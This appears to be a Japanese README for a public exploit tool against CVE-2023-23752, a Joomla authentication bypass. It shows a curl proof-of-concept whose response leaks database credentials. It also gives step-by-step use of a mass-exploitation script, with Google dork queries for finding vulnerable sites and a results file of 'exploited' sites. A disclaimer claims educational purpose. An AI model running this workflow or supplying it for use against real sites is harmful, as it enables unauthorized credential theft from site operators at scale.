
CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7) 向けのエクスプロイト。
CVE-2023-23752 のエクスプロイト (4.0.0 <= Joomla <= 4.2.7)。
議論されたように、CVE-2023-23752 は認証バイパスによる情報漏洩です。公開されているエクスプロイトのほとんどは、このバイパスを利用してシステムの設定を漏洩させます。設定には Joomla! MySQL データベースの資格情報が平文で含まれています。以下に漏洩の例を示します。
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
上記の概念実証では、サーバーは root:labpass1 という資格情報で応答しています。これはテスト用の Joomla! MySQL アカウントの資格情報です。しかし、テスト用 MySQL サーバーは 127.0.0.1 にバインドされていたため、リモートの攻撃者はサーバーにアクセスできず、資格情報はほとんど無価値であることに注意することが重要です。MySQL を localhost にバインドするのが最も一般的な設定であり、この資格情報漏洩の影響を大幅に制限します。
このエクスプロイトおよび概念実証(PoC)は、教育および情報提供のみを目的として公開されています。これを共有する意図は、管理された環境で潜在的な脆弱性を示すことです。目的はサイバーセキュリティの概念への理解を促進し、責任ある開示を奨励することです。
このエクスプロイトおよびPoCにアクセスして使用することにより、あなたは自身の行動に対して単独で責任を負い、適用法令に従ってこの情報を使用することに同意するものとします。作者は、教育および責任ある開示以外の目的でこのPoCを使用したことによる誤用または結果について一切の責任を負いません。
requests, colorama , urllib3 , fake_useragent , aio-httpリポジトリをクローンします:
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
必要なPythonパッケージをインストールします:
pip install -r requirements.txt
対象サイトを1行に1つ含むテキストファイルを作成し、.txt 拡張子で保存します。
inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" /api/index.php/v1/config/application?public=true , filetype:php inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"スクリプトを実行します:
python joomla.py
スクリプトが完了するまで実行し、指示に従います。
エクスプロイトされたすべてのサイトは Results.txt に保存されます。
貢献を歓迎します!問題を見つけた場合や改善点がある場合は、プルリクエストを開くか、Issueを作成してください。
このプロジェクトは MITライセンス の下でライセンスされています。